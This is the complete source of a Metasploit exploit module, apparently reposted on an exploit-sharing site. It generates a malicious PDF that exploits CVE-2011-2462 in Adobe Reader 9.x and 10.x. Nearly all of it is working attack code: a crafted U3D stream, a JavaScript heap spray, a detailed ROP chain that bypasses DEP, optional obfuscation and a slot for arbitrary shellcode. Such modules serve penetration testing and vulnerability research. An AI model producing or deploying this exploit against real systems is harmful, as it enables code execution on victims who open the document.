Adobe Reader U3D Memory Corruption Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
require 'zlib'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe Reader U3D Memory Corruption Vulnerability',
            'Description'    => %q{
                    This module exploits a vulnerability in the U3D handling within
                versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
                The vulnerability is due to the use of uninitialized memory.
 
                Arbitrary code execution is achieved by embedding specially crafted U3D
                data into a PDF document. A heap spray via JavaScript is used in order to
                ensure that the memory used by the invalid pointer issue is controlled.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'sinn3r',
                    'juan vazquez',
                    'jduck'
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-2462' ],
                    [ 'OSVDB', '77529' ],
                    [ 'BID', '50922' ],
                    [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],
                    [ 'URL', 'http://blog.vulnhunt.com/index.php/2011/12/12/cve-2011-2462-pdf-0day-analysis/' ],
                    [ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ],
                    [ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'         => 1000,
                    'BadChars'      => "\x00",
                    'DisableNops'   => true
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        # Adobe Reader 9.4.0 / XP SP3
                        # Adobe Reader 9.4.5 / XP SP3
                        # Adobe Reader 9.4.6 / XP SP3
                        'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',
                        {
                            # gadget from icucnv36:
                            # mov ecx,dword ptr [eax+3Ch]
                            # mov eax,dword ptr [ecx]
                            # call dword ptr [eax+1Ch]
                            'Ret' => 0x4a8453c3
                        }
                    ],
                ],
            'DisclosureDate' => 'Dec 06 2011', #Needs to be checked
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)
 
    end
 
    def junk(n=1)
        tmp = []
        value = rand_text(4).unpack("L")[0].to_i
        n.times { tmp << value }
        return tmp
    end
 
    def exploit
        # DEP bypass; uses icucnv36.dll
        stack_data = [
            junk,
            0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot
            0x0c0c0c0c, # becomes esi
            0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
            0x4a8a0000, # becomes edi
            0x4a802196, # becomes esi
            0x4a801f90, # becomes ebp
            0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
            0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding
            junk(4),
            0x00000000, # becomes edi
            0x00000002, # becomes esi
            0x00000102, # becomes ebp
            0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
            junk(5),
            0x4a80a8a6, # becomes edi
            0x4a801f90, # becomes esi
            0x4a849038, # becomes ebp
            0x4a8063a5, # pop ecx / ret
            junk(5),
            0x4a8a0000, # becomes ecx
            0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)
            0x4a801f90, # pop eax / ret
            0x4a84903c, # becomes eax (import for CreateFileA)
            0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}
            0x4a801064, # ret for CreateFileA # ret
            0x00000000, # __in      LPCTSTR lpFileName
            0x10000000, # __in      DWORD dwDesiredAccess
            0x00000000, # __in      DWORD dwShareMode
            0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpSecurityAttributes
            0x00000002, # __in      DWORD dwCreationDisposition
            0x00000102, # __in      DWORD dwFlagsAndAttributes
            0x00000000, # __in_opt  HANDLE hTemplateFile
            0x4a8063a5, # pop ecx / ret
            0x4a801064, # becomes ecx
            0x4a842db2, # xchg eax, edi / ret
            0x4a802ab1, # pop ebx / ret
            0x00000008, # becomes ebx
            0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
            0x4a801f90, # pop eax / ret
            0x4a849038, # becomes eax (import for CreateFileA)
            0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}
            0x4a801064, # ret for CreateFileMappingA # ret
            0xffffffff, # __in      HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA
            0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpAttributes,
            0x00000040, # __in      DWORD flProtect,
            0x00000000, # __in      DWORD dwMaximumSizeHigh,
            0x00010000, # __in      DWORD dwMaximumSizeLow,
            0x00000000, # __in_opt  LPCTSTR lpName
            0x4a8063a5, # pop ecx / ret
            0x4a801064, # becomes ecx
            0x4a842db2, # xchg eax, edi / ret
            0x4a802ab1, # pop ebx / ret
            0x00000008, # becomes ebx
            0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
            0x4a801f90, # pop eax / ret
            0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)
            0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}
            0x4a801064, # ret for MapViewOfFile # ret
            0xffffffff, # __in  HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}
            0x00000022, # __in  DWORD dwDesiredAccess
            0x00000000, # __in  DWORD dwFileOffsetHigh
            0x00000000, # __in  DWORD dwFileOffsetLow
            0x00010000, # __in  SIZE_T dwNumberOfBytesToMap
            0x4a8063a5, # pop ecx / ret
            0x4a8a0004, # becomes ecx
            0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile
            0x4a8063a5, # pop ecx / ret
            0x4a801064, # becomes ecx
            0x4a842db2, # xchg eax, edi / ret
            0x4a802ab1, # pop ebx / ret
            0x00000030, # becomes ebx
            0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
            0x4a801f90, # pop eax / ret
            0x4a8a0004, # becomes eax {Result of MapViewOfFile}
            0x4a80a7d8, # mov eax,dword ptr [eax] / ret
            0x4a8063a5, # pop ecx / ret
            0x4a801064, # becomes ecx
            0x4a842db2, # xchg eax, edi / ret
            0x4a802ab1, # pop ebx / ret
            0x00000020, # becomes ebx
            0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
            0x4a8063a5, # pop ecx / ret
            0x4a801064, # becomes ecx
            0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret
            0x4a801f90, # pop eax / ret
            0x00000034, # becomes eax # mapped at 0c0c0d8c
            0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)
            0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94
            0x4a801064, # becomes ecx
            0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret
            0x4a802ab1, # pop ebx / ret
            0x0000000a, # becomes ebx
            0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
            0x4a801f90, # pop eax / ret
            0x4a849170, # becomes eax (import for MSVCR80!memcpy)
            0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}
            0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile
            0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile
            0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain
            0x00001000  # length (memcpy param)
        ].flatten.pack('V*')
 
        payload_buf = ''
        payload_buf << stack_data
        payload_buf << payload.encoded
        escaped_payload = Rex::Text.to_unescape(payload_buf)
 
        eip_ptr =
        [
            junk(3),
            target.ret, # EIP
            junk(7),
            0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot
            junk(16),
        ].flatten.pack('V*')
 
        escaped_eip = Rex::Text.to_unescape(eip_ptr)
 
        js = <<-JS
 
        var padding;
        var bbb, ccc, ddd, eee, fff, ggg, hhh;
        var pointers_a, i;
        var x = new Array();
        var y = new Array();
 
        function alloc(bytes) {
            return padding.substr(0, (bytes - 6) / 2);
        }
 
        function spray_eip(esc_a) {
            pointers_a = unescape(esc_a);
            for (i = 0; i < 2000; i++) {
                x[i] = alloc(0x8) + pointers_a;
                y[i] = alloc(0x88) + pointers_a;
                y[i] = alloc(0x88) + pointers_a;
                y[i] = alloc(0x88) + pointers_a;
            }
        };
 
        function spray_shellcode() {
            bbb = unescape('#{escaped_payload}');
            ccc = unescape("%u0c0c");
            ccc += ccc;
 
            while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;
 
            i1 = 0x0c0c - 0x24;
            ddd = ccc.substring(0, i1 / 2);
 
            ddd += bbb;
            ddd += ccc;
 
            i2 = 0x4000 + 0xc000;
            eee = ddd.substring(0, i2 / 2);
 
            for (; eee.length < 0x40000 + 0x40000;) eee += eee;
 
            i3 = (0x1020 - 0x08) / 2;
            fff = eee.substring(0, 0x80000 - i3);
 
            ggg = new Array();
 
            for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";
        }
 
        padding = unescape("#{escaped_eip}");
        while (padding.length < 0x10000)
        padding = padding + padding;
 
        spray_shellcode();
        spray_eip('%u4141');
 
        this.pageNum = 2;
        JS
 
        js = js.gsub(/^\t\t/,'')
 
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end
 
        u3d = make_u3d_stream
        xml = make_xml_data
        pdf = make_pdf(u3d, xml, js.to_s)
        print_status("Creating '#{datastore['FILENAME']}' file...")
        file_create(pdf)
    end
 
    def make_xml_data
        xml = %Q|<?xml version="1.0" encoding="UTF-8"?>
        <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
        <ed>kapa</ed>
        <config xmclns="http://www.microsoft.org/schema/xci/2.6/">
        <present>
        <pdf>
        <version>1</version>
        <fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>
        <interactive>1</interactive>
        </pdf>
        </present>
        </config>
        <template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
        <subform name="form1" layout="tb" locale="en_US">
        <pageSet>
        </pageSet>
        </subform>
        </template>
        <template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
        <subform name="form1" layout="tb" locale="en_US">
        <pageSet>
        </pageSet>
        </subform>
        </template1>
        <template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
        <subform name="form1" layout="tb" locale="en_US">
        <pageSet>
        </pageSet>
        </subform>
        </template2>
        </xdp:xdp>|
 
        xml = xml.gsub(/^\t\t/, '')
        return xml
    end
 
   def u3d_pad(str, char="\x00")
        len = str.length % 4
        if (len > 0)
            #puts "Adding %d pad bytes" % (4 - len)
            return (char * (4 - len))
        end
        ""
    end
 
    def u3d_string(str)
        ([str.length].pack('v') + str)
    end
 
    def make_u3d_stream()
        #
        # REFERENCE:
        # http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf
        # The File format consists of these blocks:
        # [File Header Block][Declaration Block][Continuation Block]
        # Each block consists of (padding is used to keep fields 32-bit aligned):
        # [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]
        #
        mc_name = u3d_string("CCCCBox01")
        mr_name = u3d_string("Box01RX")
 
        # build the U3D header (length will be patched in later)
        hdr_data = [0,0].pack('n*') # version info
        hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34
 
        hdr = "U3D\x00"
        hdr << [hdr_data.length,0].pack('VV')
        hdr << hdr_data
 
        parent_node_data =
            "\x01\x00\x00\x00"+ # node count (1)
            "\x00\x00"+         # name (empty)
            # transform matrix
            [0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*')
 
 
        model_node_data = ""
        model_node_data << mc_name
        model_node_data << parent_node_data
        model_node_data << mr_name
        model_node_data << [1].pack('V') # Model Visibility (Front visible)
        model_node = [0xffffff22,model_node_data.length,0].pack('VVV')
        #model_node = [0xffffff22,0x5e,0].pack('VVV')
        model_node << model_node_data
 
        bone_weight_data = ""
        bone_weight_data << mc_name
        bone_weight_data << [
            1,          # Chain index
            1,          # Bone Weight Attributes (for a mesh)
            0x3162123b, # Inverse Quant
            0x14,       # Position Count
        ].pack('VVNV')
        # Position List
        bone_weight_data << [
            # 1
            1,          # Bone Weight Count
            3,          # Bone Index (no Quantized Weight)
            # 2
            0x55550000, # Bone Weight Count
            0x4c1df36e, # Bone Index
            0x0200d002, # Quantized Weight
            # 3
            0x95000074, # Bone Weight Count
            0x66ccc357, # Bone Index
            0x00000000  # Quantized Weight
        ].pack('VVNNNNNN')
        bone_weight = [0xffffff44,0x3a,0].pack('VVV')
        # We hardcode the length to match the old file.. (TODO: test if necessary)
        #bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')
        bone_weight << bone_weight_data
 
        new_objtype1_data =
            "\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+
            "\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+
            "\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
        #new_objtype1 = [0xffffff16,0x38,0].pack('VVV')
        new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV')
        new_objtype1 << new_objtype1_data
 
        shading_modifier_data = ""
        shading_modifier_data << mc_name
        shading_modifier_data <<
            "\x02\x00\x00\x00\x00\x00\x00\x00\x01"+
            "\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"
        #shading_modifier = [0xffffff45,0x23,0].pack('VVV')
        shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV')
        shading_modifier << shading_modifier_data
 
        new_objtype2_data =
            "\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+
            "\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+
            "\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
        #new_objtype2 = [0xffffff16,0x30,0].pack('VVV')
        new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV')
        new_objtype2 << new_objtype2_data
 
        nodemod_decl = ""
        nodemod_decl << model_node
        nodemod_decl << u3d_pad(nodemod_decl)
        nodemod_decl << bone_weight
        nodemod_decl << u3d_pad(nodemod_decl)
        nodemod_decl << new_objtype1
        nodemod_decl << u3d_pad(nodemod_decl)
        nodemod_decl << shading_modifier
        nodemod_decl << u3d_pad(nodemod_decl)
        nodemod_decl << new_objtype2
        nodemod_decl << u3d_pad(nodemod_decl)
 
        nodemod_decl <<
        # another modifier chain?
        "\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+
        "\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+
        "\x00\x00"+
        # clod mesh generator (declaration)
        "\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+
        "\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+
        "\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+
        "\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+
        "\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+
        "\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+
        "\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+
        "\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00"+
        # clod mesh generator (progressive mesh cont)
        "\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+
        "\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+
        "\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+
        "\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+
        "\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+
        "\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+
        "\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+
        "\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+
        "\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+
        "\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+
        "\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+
        "\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+
        "\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+
        "\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+
        "\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+
        "\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"
 
        # build the modifier chain
        chain_data = ""
        chain_data << mc_name
        chain_data << [0].pack('V') # type (node modifier)
        chain_data << [0].pack('V') # attributes (no bounding info)
        chain_data << u3d_pad(chain_data)
        chain_data << [0x5].pack('V') # number of modifiers
        chain_data << nodemod_decl
        #modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes
        modifier_chain = [0xffffff14,0x17c,0].pack('VVV')
        modifier_chain << chain_data
 
        data = ""
        data << hdr
        data << modifier_chain
 
        data
    end
 
    def RandomNonASCIIString(count)
        result = ""
        count.times do
            result << (rand(128) + 128).chr
        end
        result
    end
 
    def ioDef(id)
        "%d 0 obj\n" % id
    end
 
    def ioRef(id)
        "%d 0 R" % id
    end
 
    def ASCIIHexWhitespaceEncode(str)
        result = ""
        whitespace = ""
        str.each_byte do |b|
            result << whitespace << "%02x" % b
            whitespace = " " * (rand(3) + 1)
        end
        result << ">"
    end
 
    def make_pdf(u3d_stream, xml, js_doc)
        xref = []
        eol = "\x0a"
        obj_end = "" << eol << "endobj" << eol
 
        # the header
        pdf = "%PDF-1.7" << eol
 
        # filename/comment
        pdf << "%" << RandomNonASCIIString(4) << eol
 
        email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"
        site  = rand_text_alpha(5) + ".com"
        xref << pdf.length
        pdf << ioDef(1)
        pdf << "<</Author (Fo)/email (#{email})/web (site)>>"
        pdf << obj_end
 
        compressed_xml = Zlib::Deflate.deflate(xml)
        xref << pdf.length
        pdf << ioDef(2)
        pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol
        pdf << "stream" << eol
        pdf << compressed_xml << eol
        pdf << "endstream"
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(3)
        pdf << "<</XFA " << ioRef(2) << ">>"
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(4)
        pdf << "<</Type/Catalog/Outlines " << ioRef(5)
        pdf << " /Pages " << ioRef(6)
        pdf << " /OpenAction " << ioRef(14)
        pdf << " /AcroForm " << ioRef(3)
        pdf << ">>"
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(5) << "<</Type/Outlines/Count 0>>"
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(6)
        pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [ioRef(13), ioRef(9), ioRef(12)]
        pdf << obj_end
 
        data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"
        compressed_data = Zlib::Deflate.deflate(data)
        xref << pdf.length
        pdf << ioDef(7)
        pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol
        pdf << "stream" << eol
        pdf << compressed_data << eol
        pdf << "endstream"
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(8)
        pdf << "<</ProcSet [/PDF]>>"
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(9)
        pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)]
        pdf << obj_end
 
        compressed_u3d = Zlib::Deflate::deflate(u3d_stream)
        xref << pdf.length
        pdf << ioDef(10)
        pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol
        pdf << "stream" << eol
        pdf << compressed_u3d << eol
        pdf << "endstream"
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(11)
        pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"
        pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %ioRef(10)
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(12)
        pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [ioRef(6), ioRef(7), ioRef(8), ioRef(11)]
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(13)
        pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)]
        pdf << obj_end
 
        xref << pdf.length
        pdf << ioDef(14)
        pdf << "<</S/JavaScript/JS %s>>" %ioRef(15)
        pdf << obj_end
 
        compressed_js = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
        xref << pdf.length
        pdf << ioDef(15)
        pdf << "<</Length " <<  compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"
        pdf << "stream" << eol
        pdf << compressed_js << eol
        pdf << "endstream"
        pdf << obj_end
 
        # xrefs
        xrefPosition = pdf.length
        pdf << "xref" << eol
        pdf << "0 %d" % (xref.length + 1) << eol
        pdf << "0000000000 65535 f" << eol
        xref.each do |index|
            pdf << "%010d 00000 n" % index << eol
        end
 
        # trailer
        pdf << "trailer" << eol
        pdf << "<</Size %d/Root " % (xref.length + 1) << ioRef(4) << ">>" << eol
        pdf << "startxref" << eol
        pdf << xrefPosition.to_s() << eol
        pdf << "%%EOF" << eol
    end
 
end



#  0day.today [2018-01-01]  #